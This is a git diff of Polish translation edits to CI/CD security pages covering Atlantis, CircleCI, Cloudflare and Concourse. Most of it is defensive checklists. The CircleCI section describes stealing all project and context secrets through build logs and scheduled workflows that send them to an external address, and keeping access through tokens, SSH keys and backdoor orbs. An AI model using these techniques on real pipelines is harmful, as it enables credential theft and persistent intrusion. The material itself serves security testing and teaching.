 Aby temu zapobiec, możesz:
 
-1. Wbudować dostawców w obraz Atlantis lub hostować i odmówić egress w produkcji.
-2. Wdrożyć protokół rejestru dostawców wewnętrznie i odmówić publicznego egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
-3. Zmodyfikować krok `plan` w swojej [konfiguracji repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html), aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny.
+1. Wbudować dostawców w obraz Atlantis lub hostować i zablokować egress w produkcji.
+2. Wdrożyć wewnętrznie protokół rejestru dostawców i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
+3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być przydatny w tej sytuacji.
 
 #### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
 
-Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogliby wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
+Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
 
 Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło.
 
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index bb794c2b9..e7ffbeb32 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -8,7 +8,7 @@
 
 ### Uprawnienia
 
-**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **kontem**, które się loguje.\
+**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **konto**, które się loguje.\
 W moich testach sprawdziłem, że tak długo, jak masz **uprawnienia do zapisu w repozytorium na githubie**, będziesz mógł **zarządzać ustawieniami projektu w CircleCI** (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).
 
 Jednak musisz być **administratorem repozytorium**, aby **przekształcić repozytorium w projekt CircleCI**.
@@ -48,7 +48,7 @@ docker:
 environment:
 SECRET: A secret
 ```
-Możesz je zadeklarować w czystym tekście wewnątrz **środowiska kontenera**:
+Możesz zadeklarować je w czystym tekście wewnątrz **środowiska kontenera**:
 ```yaml
 jobs:
 build-job:
@@ -64,7 +64,7 @@ Możesz je zobaczyć **zadeklarowane w** _https://app.circleci.com/settings/proj
 
 ![](<../images/image (129).png>)
 
-> [!OSTRZEŻENIE]
+> [!CAUTION]
 > Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego.
 
 #### Sekrety kontekstu
@@ -73,9 +73,9 @@ To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każ
 
 ![](<../images/image (123).png>)
 
-> [!WSKAZÓWKA]
-> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\
-> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwalać wszystkim na ich dostęp, ale tylko niektórym osobom.
+> [!TIP]
+> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast Wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\
+> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwolić wszystkim na ich dostęp, ale tylko niektórym osobom.
 
 ### Ataki
 
@@ -83,19 +83,19 @@ To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każ
 
 Jeśli masz **dostęp do VCS** (takiego jak github), sprawdź plik `.circleci/config.yml` w **każdym repo na każdej gałęzi** i **wyszukaj** potencjalne **sekrety w czystym tekście** przechowywane tam.
 
-#### Wyliczanie zmiennych środowiskowych sekretów i kontekstu
+#### Zmienne środowiskowe sekretów i enumeracja kontekstu
 
 Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są **używane** w każdym pliku `.circleci/config.yml`. Możesz również uzyskać **nazwy kontekstów** z tych plików lub sprawdzić je w konsoli internetowej: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
 
 #### Ekstrakcja sekretów projektu
 
-> [!OSTRZEŻENIE]
+> [!WARNING]
 > Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_).
 
-> [!OSTRZEŻENIE]
+> [!CAUTION]
 > Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**.
 
-Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**:
+Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby wyekstrahować sekrety w **konsoli logów internetowych workflow**:
 ```yaml
 version: 2.1
 
@@ -114,7 +114,7 @@ exfil-env-workflow:
 jobs:
 - exfil-env
 ```
-Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**:
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i który **wykrada sekrety do zewnętrznego adresu**:
 ```yaml
 version: 2.1
 
@@ -163,7 +163,7 @@ jobs:
 - exfil-env:
 context: Test-Context
 ```
-Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety do zewnętrznego adresu**:
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety na zewnętrzny adres**:
 ```yaml
 version: 2.1
 
@@ -192,12 +192,12 @@ jobs:
 context: Test-Context
 ```
 > [!WARNING]
-> Po prostu stworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**.
+> Samo utworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**.
 
 #### Ucieczka do Chmury
 
-**CircleCI** daje ci możliwość uruchamiania **twoich budów na ich maszynach lub na własnych**.\
-Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak, jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**.
+**CircleCI** daje Ci możliwość uruchamiania **swoich budów na ich maszynach lub na własnych**.\
+Domyślnie ich maszyny znajdują się w GCP, a początkowo nie będziesz w stanie znaleźć niczego istotnego. Jednak jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**.
 
 Zauważ, że w poprzednich przykładach wszystko uruchamiano wewnątrz kontenera docker, ale możesz również **poprosić o uruchomienie maszyny wirtualnej** (która może mieć różne uprawnienia chmurowe):
 ```yaml
@@ -208,7 +208,7 @@ exfil-env:
 machine:
 image: ubuntu-2004:current
 ```
-Lub nawet kontener docker z dostępem do zdalnej usługi docker:
+Lub nawet kontener dockerowy z dostępem do zdalnej usługi docker:
 ```yaml
 jobs:
 exfil-env:
@@ -219,7 +219,7 @@ steps:
 - setup_remote_docker:
 version: 19.03.13
 ```
-#### Persistence
+#### Utrzymywanie
 
 - Możliwe jest **tworzenie** **tokenów użytkowników w CircleCI** do uzyskania dostępu do punktów końcowych API z dostępem użytkowników.
 - _https://app.circleci.com/settings/user/tokens_
@@ -227,9 +227,9 @@ version: 19.03.13
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
 - Możliwe jest **dodawanie kluczy SSH** do projektów.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
-- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w niespodziewanym projekcie, który **przecieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
-- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **przeciekać** wszystkie sekrety **projektów** codziennie.
-- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezaufane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
+- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w nieoczekiwanym projekcie, które **wycieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
+- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **wyciekać** wszystkie konteksty i **sekrety projektów** codziennie.
+- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezweryfikowane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
 - Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index e1c023e95..14b596cda 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -16,7 +16,7 @@ cloudflare-domains.md
 
 ### Domain Registration
 
-- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości przeniesienia żadnej domeny.
+- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości transferu żadnej domeny.
 
 Przejrzyj każde z:
 
@@ -26,7 +26,7 @@ cloudflare-domains.md
 
 ## Analytics
 
-_Nie mogłem znaleźć nic do sprawdzenia w celu przeglądu bezpieczeństwa konfiguracji._
+_Nie mogłem znaleźć nic do sprawdzenia w przeglądzie bezpieczeństwa konfiguracji._
 
 ## Pages
 
@@ -34,11 +34,11 @@ Na każdej stronie Cloudflare:
 
 - [ ] Sprawdź **wrażliwe informacje** w **`Build log`**.
 - [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron.
-- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na [**stronie bezpieczeństwa Github**](../github-security/).
+- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na stronie [**Github Security page**](../github-security/).
 - [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
 - [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
 - [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
-- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
+- [ ] W szczegółach strony sprawdź również **komendę budowania** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
 
 ## **Workers**
 
@@ -49,7 +49,7 @@ Na każdym workerze Cloudflare sprawdź:
 - [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi).
 - Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować.
 - Sprawdź XSSy wykonujące JS wewnątrz obrazu svg.
-- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można by to wykorzystać z danych wejściowych użytkownika.
+- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można je wykorzystać na podstawie danych wejściowych użytkownika.
 
 > [!WARNING]
 > Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz.
@@ -70,8 +70,8 @@ TODO
 
 ## Security Center
 
-- [ ] Jeśli to możliwe, uruchom **`Security Insights`** **skan** oraz **`Infrastructure`** **skan**, ponieważ **podkreślą** interesujące informacje **z punktu widzenia bezpieczeństwa**.
-- [ ] Po prostu **sprawdź te informacje** pod kątem błędów w konfiguracji bezpieczeństwa i interesujących informacji.
+- [ ] Jeśli to możliwe, uruchom skanowanie **`Security Insights`** i **`Infrastructure`**, ponieważ podkreślą one interesujące informacje **z punktu widzenia bezpieczeństwa**.
+- [ ] Po prostu **sprawdź te informacje** pod kątem błędnych konfiguracji bezpieczeństwa i interesujących informacji.
 
 ## Turnstile
 
@@ -93,7 +93,7 @@ cloudflare-zero-trust-network.md
 
 ## Notifications
 
-- [ ] Sprawdź **powiadomienia.** Te powiadomienia są zalecane dla bezpieczeństwa:
+- [ ] Sprawdź **powiadomienia**. Te powiadomienia są zalecane dla bezpieczeństwa:
 - `Usage Based Billing`
 - `HTTP DDoS Attack Alert`
 - `Layer 3/4 DDoS Attack Alert`
@@ -120,9 +120,9 @@ cloudflare-zero-trust-network.md
 
 - [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
 - [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
-- [ ] W **`Members`** możliwe jest zobaczenie wszystkich członków konta i ich **ról**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
-- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
-- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien to mieć włączone.
+- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
+- Dlatego, gdy to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
+- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
 
 > [!NOTE]
 > Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index e10472b9d..af5e4c8d2 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -6,12 +6,12 @@ W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usł
 
 <figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
 
-### Overview
+### Przegląd
 
-- [ ] Uzyskaj poczucie **jak bardzo** usługi konta są **używane**
+- [ ] Zdobądź poczucie **jak bardzo** usługi konta są **używane**
 - [ ] Znajdź również **ID strefy** i **ID konta**
 
-### Analytics
+### Analiza
 
 - [ ] W **`Security`** sprawdź, czy istnieje jakiekolwiek **ograniczenie liczby połączeń**
 
@@ -36,12 +36,12 @@ TODO
 
 ### SSL/TLS
 
-#### **Overview**
+#### **Przegląd**
 
-- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie.
+- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w czystym tekście** w pewnym momencie.
 - [ ] **Rekomendator SSL/TLS** powinien być włączony
 
-#### Edge Certificates
+#### Certyfikaty krawędziowe
 
 - [ ] **Zawsze używaj HTTPS** powinno być **włączone**
 - [ ] **HTTP Strict Transport Security (HSTS)** powinno być **włączone**
@@ -50,40 +50,40 @@ TODO
 - [ ] **Automatyczne przepisywanie HTTPS** powinno być **włączone**
 - [ ] **Monitorowanie przejrzystości certyfikatów** powinno być **włączone**
 
-### **Security**
+### **Bezpieczeństwo**
 
 - [ ] W sekcji **`WAF`** interesujące jest sprawdzenie, czy **zasady zapory** i **ograniczenia liczby połączeń są używane** w celu zapobiegania nadużyciom.
 - Akcja **`Bypass`** **wyłączy funkcje bezpieczeństwa Cloudflare** dla żądania. Nie powinna być używana.
 - [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana
 - [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare
-- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochron DDoS**
+- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochrony DDoS**
 - [ ] W sekcji **`Settings`**:
 - [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy
 - [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę
 - [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone**
 - [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone**
 
-#### **CloudFlare DDoS Protection**
+#### **Ochrona DDoS CloudFlare**
 
-- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu.
-- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, Cookie, referrera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają cookie.
+- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez zakłócania tego dostępu.
+- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, referera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka.
 - Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów.
-- Jeśli atak dotyczy **konkretnej ścieżki**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
+- Jeśli atak jest skierowany na **konkretną ścieżkę**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
 - Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF.
 - Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności.
 - W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.**
 - W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**.
 - **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**.
-- W Cloudflare Domains -> Analytics -> Security -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
-- W Cloudflare Domains -> Security -> Events -> Sprawdź, czy są **wykryte złośliwe zdarzenia**
+- W Cloudflare Domains -> Analiza -> Bezpieczeństwo -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
+- W Cloudflare Domains -> Bezpieczeństwo -> Wydarzenia -> Sprawdź, czy są **wykryte złośliwe wydarzenia**
 
-### Access
+### Dostęp
 
 {{#ref}}
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-### Speed
+### Szybkość
 
 _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
 
@@ -91,35 +91,35 @@ _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
 
 - [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM**
 
-### **Workers Routes**
+### **Trasy pracowników**
 
-_Już powinieneś sprawdzić_ [_cloudflare workers_](./#workers)
+_Powinieneś już sprawdzić_ [_cloudflare workers_](./#workers)
 
-### Rules
+### Zasady
 
 TODO
 
-### Network
+### Sieć
 
 - [ ] Jeśli **`HTTP/2`** jest **włączony**, **`HTTP/2 do Origin`** powinno być **włączone**
 - [ ] **`HTTP/3 (z QUIC)`** powinno być **włączone**
-- [ ] Jeśli **prywatność** Twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony**
+- [ ] Jeśli **prywatność** twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony**
 
-### **Traffic**
+### **Ruch**
 
 TODO
 
-### Custom Pages
+### Strony niestandardowe
 
-- [ ] Opcjonalnie można skonfigurować niestandardowe strony, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem)
+- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub jestem w trybie ataku)
 
-### Apps
+### Aplikacje
 
 TODO
 
 ### Scrape Shield
 
-- [ ] Sprawdź, czy **Obfuskacja adresu e-mail** jest **włączona**
+- [ ] Sprawdź, czy **Zamaskowanie adresu e-mail** jest **włączone**
 - [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone**
 
 ### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 1b585070c..d225b8859 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -32,13 +32,13 @@ W każdej aplikacji:
 
 #### **Access Groups**
 
-- [ ] Sprawdź, czy grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać.
+- [ ] Sprawdź, czy wygenerowane grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać.
 - [ ] Szczególnie ważne jest, aby sprawdzić, czy **domyślna grupa dostępu nie jest zbyt otwarta** (nie **pozwala zbyt wielu osobom**), ponieważ **domyślnie** każdy w tej **grupie** będzie mógł **uzyskać dostęp do aplikacji**.
 - Zauważ, że możliwe jest nadanie **dostępu** do **WSZYSTKICH** i innych **bardzo otwartych polityk**, które nie są zalecane, chyba że są 100% konieczne.
 
 #### Service Auth
 
-- [ ] Sprawdź, czy wszystkie tokeny serwisowe **wygasają w ciągu 1 roku lub mniej**
+- [ ] Sprawdź, czy wszystkie tokeny usługowe **wygasają w ciągu 1 roku lub mniej**
 
 #### Tunnels
 
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index 296655765..2cf44607d 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -4,7 +4,7 @@
 
 ## Podstawowe informacje
 
-Concourse pozwala na **budowanie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...)
+Concourse pozwala na **tworzenie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...)
 
 ## Architektura Concourse
 
@@ -24,7 +24,7 @@ concourse-lab-creation.md
 
 ## Enumeracja i atak na Concourse
 
-Dowiedz się, jak możesz enumerować środowisko concourse i nadużywać go w:
+Dowiedz się, jak możesz enumerować środowisko concourse i je wykorzystywać w:
 
 {{#ref}}
 concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 150b7da4f..09543b7bb 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -12,15 +12,15 @@
 
 #### ATC: interfejs webowy i harmonogram budowy
 
-ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram** pipeline'ów. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
+ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram pipeline'ów**. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
 
-Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
+Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za harmonogram budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
 
 #### TSA: rejestracja pracowników i przekazywanie
 
 TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc).
 
-TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest za równoważnikiem obciążenia.
+TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest umieszczone za równoważnikiem obciążenia.
 
 **TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa).
 
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index c08122a95..6ed5d4695 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,31 +4,31 @@
 
